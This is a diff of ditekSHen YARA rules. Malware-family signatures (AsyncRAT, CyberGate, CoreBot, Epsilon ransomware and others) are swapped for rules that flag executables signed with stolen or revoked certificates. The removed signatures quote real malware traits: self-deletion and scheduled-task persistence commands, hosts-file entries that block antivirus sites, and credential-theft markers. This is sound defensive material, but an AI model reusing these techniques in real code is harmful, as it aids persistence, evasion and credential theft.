+		logic_hash = "a0abe691c6b0a7be8ceea313068a6943d611b1424a1a03e43b82239ddfe9cbd2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = { 48 b9 ff ff ff ff ff ff ff ff 51 48 23 8c 24 ?? 00 00 00 48 89 8C 24 00 00 00 00 }
-		$s2 = { 56 be ff ff ff ff 56 81 e6 7f }
-		$s3 = { 48 8b 05 19 ?4 4b 00 48 05 48 83 00 00 4c 8b 44 24 50 8b 54 24 48 48 8b }
+		thumbprint = "b15a4189dcbb27f9b7ced94bc5ca40b7e62135c3"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*)) or (2 of them and pe.exports("InitSvc"))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].serial=="14:2a:ac:42:17:e2:2b:52:5c:85:87:58:97:73:ba:9b")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Guidlma : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4026D6291F1Ac7Cf86C2C81172Cfb200 : FILE
 {
 	meta:
-		description = "Detects Guildma"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "135ddc6a-5001-54c0-a66c-3e0e5fe6319f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "ea11705d-37a1-5050-b01a-b7fc523c675a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3988-L4006"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5218-L5229"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "11a0d9c67139627b6820c928840d816ed22b48452ce0b2f856c86c183cdfc8ab"
+		logic_hash = "c821f288bb6555e3955dfccf02edde2448f0499942eea24c488a6426985bff74"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$v1_1 = "marxvxinhhm98.dll" fullword wide
-		$v1_2 = "marxvxinhhmxa.gif" fullword wide
-		$v1_3 = "marxvxinhhmxb.gif" fullword wide
-		$v1_4 = "c:\\programdata" fullword wide
-		$v1_5 = "\\tempa\\" fullword wide
-		$v2_1 = "C:\\Windows\\System32\\dllhost.exe" fullword ascii
-		$v2_2 = "C:\\Windows\\SysWOW64\\dllhost.exe" fullword ascii
-		$v2_3 = "C:\\Users\\Public\\go" fullword ascii
-		$v2_4 = ":%:*:/:>:C:H:W:\\:a:p:u:z:" fullword ascii
-		$v2_5 = ": :%:*:9:>:C:R:W:\\:k:p:u:" fullword ascii
-		$v2_6 = ":*:/:4:C:H:M:\\:a:f:u:z:" fullword ascii
+		thumbprint = "2ae4328db08bac015d8965e325b0263c0809d93e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 3 of ($v1*) or 5 of ($v2*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MztxUCVYqnxgsyqVryViRnMfHFYBgyVMXkXuVGqmyPx" and pe.signatures[i].serial=="40:26:d6:29:1f:1a:c7:cf:86:c2:c8:11:72:cf:b2:00")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Cybergate : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00B0A308Fc2E71Ac4Ac40677B9C27Ccbad : FILE
 {
 	meta:
-		description = "Detects CyberGate/Spyrat/Rebhip RTA"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3b50ccfb-6603-5002-8ceb-e9252d4c7dff"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "207aa920-528c-5fa2-a8d4-4a44da4c870e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4008-L4026"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5231-L5242"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b4a3c07533c2b251e1a714b28fb0b654c76881fb6ce970f6586c5908ee65609b"
+		logic_hash = "a71c47475327fb6268db34cd9d47451090fa3e673accfa905d32ebfb35f11e40"
 		score = 75
-		quality = 46
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "UnitInjectLibrary" ascii
-		$s2 = "TLoader" fullword ascii
-		$s3 = "\\\\.\\SyserDbgMsg" fullword ascii
-		$s4 = "\\\\.\\SyserBoot" fullword ascii
-		$s5 = "\\signons" ascii
-		$s6 = "####@####" ascii
-		$s7 = "XX-XX-XX-XX" fullword ascii
-		$s8 = "EditSvr" ascii
-		$s9 = "_x_X_PASSWORDLIST_X_x_" fullword ascii
-		$s10 = "L$_RasDefaultCredentials#0" fullword ascii
-		$s11 = "password" nocase ascii
+		thumbprint = "15e502f1482a280f7285168bb5e227ffde4e41a6"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 8 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Volpayk LLC" and pe.signatures[i].serial=="00:b0:a3:08:fc:2e:71:ac:4a:c4:06:77:b9:c2:7c:cb:ad")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_WSHRATJS : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_009Ecaa6E28E7615Ef5A12D87E327264C0 : FILE
 {
 	meta:
-		description = "Detects WSHRAT JS variants"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7dbaea67-48dc-5fb8-ba58-b0d6eeca207b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8fd9f4e8-4ec3-5731-8032-e2657ee229ca"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4028-L4045"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5244-L5255"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9956ed4613ac403360ab0222a7ed62350fcd998710843bd6700717f8bbb5052e"
+		logic_hash = "24858027f62fd057c06dbf58b4a6e1e5f1dcd9429676232a8e66d231e713f56a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$charset_full = "us-ascii" nocase ascii
-		$charset_begin = "\"us-\"" nocase ascii
-		$charset_end = "Array(97,115,99,105,105)" nocase ascii
-		$wsc_object1 = "WScript.CreateObject(\"System.Text.UTF8Encoding" nocase ascii
-		$wsc_object2 = "WScript.CreateObject(\"Adodb.Stream" nocase ascii
-		$wsc_object3 = "WScript.CreateObject(\"Microsoft.XmlDom" nocase ascii
-		$s1 = "function(){return" ascii
-		$s2 = "}catch(err){" ascii
-		$s3 = "{item: \"bin.base64\"}" nocase ascii
-		$s4 = "* 1].item =" ascii
+		thumbprint = "50899ef5014af31cd54cb9a7c88659a6890b6954"
+		importance = 20
 
 	condition:
-		filesize <400KB and ($charset_full or ($charset_begin and $charset_end)) and 2 of ($wsc_object*) and 3 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HaqMkgGQmnNHpFsQmzMRDcavkPBzOcvMatDmcLHuDNoiQWMqj" and pe.signatures[i].serial=="00:9e:ca:a6:e2:8e:76:15:ef:5a:12:d8:7e:32:72:64:c0")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Asyncrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_19985190B09206952Efd412D3Ccc18E2 : FILE
 {
 	meta:
-		description = "Detects AsyncRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6465b50d-8f1a-5c09-84fd-cd1e5994e68f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "bd94cfd0-adaa-5e37-880e-8ef50328499d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4047-L4074"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5257-L5268"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "073d4a8667fb1a48bf2bd503a551d7f78e38a6066feedc646d92c27fb7201fca"
-		score = 60
-		quality = 35
+		logic_hash = "6db1aaabd9a257e863a5ff771a736b705391602f7f5e2b799f8c47d3ae566f0f"
+		score = 75
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "AsyncRAT" fullword ascii
-		$x2 = "AsyncRAT 0." wide
-		$x3 = /AsyncRAT\s[0-9]\.[0-9]\.[0-9][A-Z]/ fullword wide
-		$s1 = "/create /sc onlogon /rl highest /tn" fullword wide
-		$s2 = "/C choice /C Y /N /D Y /T 1 & Del \"" fullword wide
-		$s3 = "{{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }}" fullword wide
-		$s4 = "Stub.exe" fullword ascii wide
-		$s5 = "\\nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS\\UCKH" ascii wide
-		$s6 = "VirtualBox" fullword ascii wide
-		$s7 = "/target:winexe /platform:x86 /optimize+" fullword ascii wide
-		$s8 = "Win32_ComputerSystem" ascii wide
-		$s9 = "Win32_Process Where ParentProcessID=" ascii wide
-		$s10 = "etirWgeR.llehShsW" ascii wide
-		$s11 = "usbSpread" fullword ascii wide
-		$cnc1 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" fullword ascii wide
-		$cnc2 = "Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1" fullword ascii wide
-		$cnc3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" fullword ascii wide
-		$cnc4 = "POST / HTTP/1.1" fullword ascii wide
+		thumbprint = "49ec0580239c07da4ffba56dc8617a8c94119c69"
+		importance = 20
 
 	condition:
-		(( uint16(0)==0x5a4d and filesize <4000KB) and (1 of ($x*) or 6 of ($s*) or all of ($cnc*) or (4 of ($s*) and 2 of ($cnc*)))) or (1 of ($x*) or 6 of ($s*) or all of ($cnc*) or (4 of ($s*) and 2 of ($cnc*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "cwcpbvBhYEPeJYcCNDldHTnGK" and pe.signatures[i].serial=="19:98:51:90:b0:92:06:95:2e:fd:41:2d:3c:cc:18:e2")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Quilclipper
+rule DITEKSHEN_INDICATOR_KB_CERT_03B27D7F4Ee21A462A064A17Eef70D6C : FILE
 {
 	meta:
-		description = "Detects QuilClipper variants mostly in memory or extracted AutoIt script"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "bd23ec5a-f21a-5133-a77a-de2615933b82"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "96920ba8-b6d6-5cf4-9a3c-cb6f5c9b3048"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4076-L4094"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5270-L5281"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dcac93806a438b188ae70a679301cb6630b9eb6849bf8fbbb1cea5fed5e7cf75"
+		logic_hash = "53a4c4474b1add510624e23eac642e8cba145248d72a2ffc37d0aca141a041c2"
 		score = 75
 		quality = 75
-		tags = ""
-
-	strings:
-		$cnc1 = "QUILCLIPPER by" ascii
-		$cnc2 = "/ UserName:" ascii
-		$cnc3 = "/ System:" ascii
-		$s1 = "DLLCALL ( \"kernel32.dll\" , \"handle\" , \"CreateMutexW\" , \"struct*\"" ascii
-		$s2 = "SHELLEXECUTE ( @SCRIPTFULLPATH , \"\" , \"\" , FUNC_" ascii
-		$s3 = "CASE BITROTATE" ascii
-		$s4 = "CASE BITXOR" ascii
-		$s5 = "CLIP( FUNC_" ascii
-		$s6 = "CLIPPUT (" ascii
-		$s7 = "FUNC _CLIPPUTFILE(" ascii
-		$s8 = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Schedule" ascii
+		tags = "FILE"
+		thumbprint = "a278b5c8a9798ee3b3299ec92a4ab618016628ee"
+		importance = 20
 
 	condition:
-		all of ($cnc*) or all of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CCL TRADING LIMITED" and pe.signatures[i].serial=="03:b2:7d:7f:4e:e2:1a:46:2a:06:4a:17:ee:f7:0d:6c")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Spyeye : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_66F98881Fbb02D0352Bef7C13Bd61Df2 : FILE
 {
 	meta:
-		description = "Detects SpyEye"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "aa15220a-6fd4-5c5e-8287-957fc3c3fe52"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "9cc569f4-1686-5f17-99a4-90750023d519"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4096-L4111"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5283-L5294"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "352853d600d1f4fbc09e58b783eb4e13b335fefbfe89842873710f0a9085d107"
+		hash = "f265524fb9a4a58274dbd32b2ed0c3f816c5eff05e1007a2e7bba286b8ffa72c"
+		logic_hash = "3d70da3f644a90bc6e7b405a41225a328d7007187525a0b277f0fc1136be8b5b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "_CLEANSWEEP_" ascii wide
-		$x2 = "config.datUT" fullword ascii
-		$x3 = "webinjects.txtUT" fullword ascii
-		$s1 = "confirm:processCommand" fullword ascii
-		$s2 = "Smth wrong with navigate to REF-PAGE (err code: %d). 0_o" fullword ascii
-		$s3 = "(UTC%s%2.2f) %s" fullword wide
-		$s4 = "M\\F;u`r" fullword ascii
-		$s5 = "]YH0%Yn" fullword ascii
+		thumbprint = "722eee34153fc67ea7abdcb0c6e9e54479f1580e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or (1 of ($x*) and 1 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].serial=="66:f9:88:81:fb:b0:2d:03:52:be:f7:c1:3b:d6:1d:f2")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Renamer : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3F8B1D4C656982A34435F971C9F3C301 : FILE
 {
 	meta:
-		description = "Detects Renamer/Tainp variants"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "9e701bbe-d698-510a-b63d-3c1575dac7b0"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "7bafe9c8-7ec5-5847-81dc-2f2d0753f784"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4114-L4135"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5296-L5307"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "df80657631f072bc1627e1cf503881a2c065396f8798d7f347259672f600198d"
+		logic_hash = "95fd60c5f236b06fca308696dfe3e3aeb3aa6f255c6030d44822dc33a7c4c917"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "shell\\open\\command=" fullword wide
-		$s2 = "icon=%SystemRoot%\\system32\\SHELL32.dll,4" fullword wide
-		$s3 = "DropTarget" ascii
-		$s4 = "C:\\Windows\\Paint" fullword wide
-		$s5 = "hold.inf" fullword wide
-		$s6 = "Dropped" ascii
+		thumbprint = "f12a12ac95e5c4fa9948dd743cc0e81e46c5222e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of ($s*) or (4 of ($s*) and for any directory in pe.data_directories : (directory.virtual_address!=0 and directory.size==0))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Word" and pe.signatures[i].serial=="3f:8b:1d:4c:65:69:82:a3:44:35:f9:71:c9:f3:c3:01")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Epsilon : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Ef9D0Cf071D463Cd63D13083046A7B8D : FILE
 {
 	meta:
-		description = "Detects Epsilon ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c5561a0d-85ac-5137-a97e-310aa03eb787"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "f4b83bdf-ce07-5bad-b3e2-2c192d67f9f1"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4137-L4169"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5309-L5320"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cc4481ddb6f5fd52a0bc901dde4c34ccf79024cd68605245df0dcbea22d0adee"
+		logic_hash = "9cf4ee1b3000d96d419bfd3e9ac3fb07f843aed735582c72e3a9799e2a56e364"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = ".Speak \"" wide
-		$s2 = "chkUpdateRegistry" fullword wide
-		$s3 = "/C choice /C Y /N /D Y /T 1 & Del \"" fullword wide
-		$s4 = "CreateObject(\"sapi.spvoice\")" fullword wide
-		$s5 = "READ_ME.hta" wide
-		$s6 = "WScript.Sleep(" wide
-		$s7 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide
-		$s8 = "<div class='bold'>Files are encrypted* but not deleted.</div>" ascii
-		$e1 = { 72 00 75 00 6e 00 64 00 6c 00 6c 00 2e 00 65 00
-                78 00 65 00 00 09 2e 00 74 00 78 00 74 00 00 09
-                2e 00 64 00 6f 00 63 00 00 0b 2e 00 64 00 6f 00
-                63 00 78 00 00 09 2e 00 78 00 6c 00 73 00 00 0d
-                2e 00 69 00 6e 00 64 00 65 00 78 00 00 09 2e 00
-                70 00 64 00 66 00 00 09 2e 00 7a 00 69 00 70 00
-                00 09 2e 00 72 00 61 00 72 00 00 09 2e 00 63 00
-                73 00 73 00 00 09 2e 00 6c 00 6e 00 6b 00 00 0b
-                2e 00 78 00 6c 00 73 00 78 00 00 09 2e 00 70 00
-                70 00 74 00 00 0b 2e 00 70 00 70 00 74 00 78 00
-                00 09 2e 00 6f 00 64 00 }
-		$e2 = { 68 00 74 00 6d 00 00 07 2e 00 6d 00 6c 00 00 07
-                43 00 3a 00 5c 00 00 07 44 00 3a 00 5c 00 00 07
-                45 00 3a 00 5c 00 00 07 46 00 3a 00 5c 00 00 07
-                47 00 3a 00 5c 00 00 07 5a 00 3a 00 5c 00 00 07
-                41 00 3a 00 5c 00 00 0f 63 00 6d 00 64 00 2e 00
-                65 00 78 00 65 }
+		thumbprint = "346849dfdeb9bb1a97d98c62d70c578dacbcf30c"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (6 of ($s*) or ( all of ($e*) and 4 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rubin LLC" and pe.signatures[i].serial=="00:ef:9d:0c:f0:71:d4:63:cd:63:d1:30:83:04:6a:7b:8d")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Corebot : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00E1E7E596F8F5Ccbeed4Ab882B6Cfe6Ce : FILE
 {
 	meta:
-		description = "Detects CoreBot"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f0351bdb-34ff-5b6d-bc4b-61fc491401ef"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "063d70e1-06b0-53f6-8edb-c81c89af0a05"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4171-L4226"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5322-L5333"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "518209458fc8912d47b0b99896178fda823c3174c37f21d5e9331349a69322d7"
+		logic_hash = "56977d47d8fcfd5eb7b5b4a141a9465e1cd2c497f05e61854e0ab09e2c7065a0"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-		snort_sid = "920211-920212"
-
-	strings:
-		$f1 = "core.cert_fp" fullword ascii
-		$f2 = "core.crash_handler" fullword ascii
-		$f3 = "core.delay" fullword ascii
-		$f4 = "core.guid" fullword ascii
-		$f5 = "core.inject" fullword ascii
-		$f6 = "core.installed_file" fullword ascii
-		$f7 = "core.plugins_dir" fullword ascii
-		$f8 = "core.plugins_key" fullword ascii
-		$f9 = "core.safe_mode" fullword ascii
-		$f10 = "core.server" fullword ascii
-		$f11 = "core.servers" fullword ascii
-		$f12 = "core.test_env" fullword ascii
-		$f13 = "core.vm_detect" fullword ascii
-		$f14 = "core.vm_detect_skip" fullword ascii
-		$s1 = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko" fullword wide
-		$s2 = "\\Microsoft\\Windows\\AppCache" wide
-		$s3 = "crash_flag" fullword wide
-		$s4 = "container.dat" fullword wide
-		$s5 = "INJECTED" fullword ascii
-		$s6 = "tmp.delete_file" fullword ascii
-		$x1 = "CoreBot v" wide
-		$x2 = "BotName" fullword ascii
-		$x3 = "RunBotKiller" fullword ascii
-		$x4 = "botv" fullword ascii
-		$x5 = "\\CoreBot\\CoreBot\\obj\\" ascii
-		$v1_1 = "newtask" fullword wide
-		$v1_2 = "drivers\\etc\\hosts" fullword wide
-		$v1_3 = "/C schtasks /create /tn \\" wide
-		$v1_4 = "/st 00:00 /du 9999:59 /sc once /ri 1 /f" wide
-		$v1_5 = "AntivirusInstalled" fullword ascii
-		$v1_6 = "payload" fullword ascii
-		$v1_7 = "DownloadFile" fullword ascii
-		$v1_8 = "RemoveFile" fullword ascii
-		$v1_9 = "AutoRunName" fullword ascii
-		$v1_10 = "EditHosts" fullword ascii
-		$v1_11 = /127\.0\.0\.1 (avast|mcafee|eset|avira|bitdefender|bullguard|safebrowse)\.com/ fullword wide
-		$cnc1 = "&os=" fullword wide
-		$cnc2 = "&pv=" fullword wide
-		$cnc3 = "&ip=" fullword wide
-		$cnc4 = "&cn=" fullword wide
-		$cnc5 = "&lr=" fullword wide
-		$cnc6 = "&ct=" fullword wide
-		$cnc7 = "&bv=" fullword wide
-		$cnc8 = "&op=" fullword wide
-		$cnc9 = "&td=" fullword wide
-		$cnc10 = "&uni=" fullword wide
+		thumbprint = "4fec400152db868b07f202fd76366332aedc7b78"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($f*) or all of ($s*) or (3 of ($s*) and 2 of ($f*)) or 3 of ($x*) or 8 of ($v1*) or (4 of ($cnc*) and 4 of ($v1*)) or 12 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LnvNzpvYjsjJOwcvwfalIvRAJHVApnpJU" and pe.signatures[i].serial=="00:e1:e7:e5:96:f8:f5:cc:be:ed:4a:b8:82:b6:cf:e6:ce")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dllloader : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_047801D5B55C800B48411Fd8C320Ca5B : FILE
 {
 	meta:
-		description = "Detects unknown DLL Loader"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "164967b8-d0f5-543d-82ac-bb2465b85c2a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "750b5b0d-7752-5407-a29e-3272b764a276"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4228-L4239"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5335-L5346"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "aaf1ff0f93d1fe6cf189c9f30403c226e64146178150dff8dfd3a9e3ed84bcc2"
+		logic_hash = "5e64b59f3d7f7554a482eaa32f5eac80f289bf57865a21381a3c1c78b1dabcab"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "LondLibruryA" fullword ascii
-		$s2 = "LdrLoadDll" fullword ascii
-		$s3 = "snxhk.dll" fullword ascii
-		$s4 = "DisableThreadLibraryCalls" fullword ascii
+		thumbprint = "00c49b8d6fd7d2aa26faad8e5a31f93a15d66d09"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LICHFIELD STUDIO GLASS LIMITED" and pe.signatures[i].serial=="04:78:01:d5:b5:5c:80:0b:48:41:1f:d8:c3:20:ca:5b")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Farfli : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Ceb6B2Eec12934A64F75A4592159F084 : FILE
 {
 	meta:
-		description = "Detects Farfli backdoor"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4c3c86f4-5493-5e8a-9618-b0c3d55e2b86"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a37bf0a2-3205-515c-9957-374108e199e9"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4241-L4253"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5366-L5377"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cb1856b32c66d6d070b8ec2d9feea25d6d6748057ceaa342be2ddc589f9a89d6"
+		logic_hash = "3e4aa8d970ead42bf1abb36a922ef31ac1b1aa308944cf099d6bbfb50e07c588"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "%ProgramFiles%\\Google\\" fullword ascii
-		$s2 = "%s\\%d.bak" fullword ascii
-		$s3 = "%s Win7" fullword ascii
-		$s4 = "%s:%d:%s" fullword ascii
-		$s5 = "C:\\2.txt" fullword ascii
+		thumbprint = "ccd30b68e37fc177b754250767a16062a711310a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "WMade by H5et.com" and pe.signatures[i].serial=="ce:b6:b2:ee:c1:29:34:a6:4f:75:a4:59:21:59:f0:84")
 }
 import "pe"
 
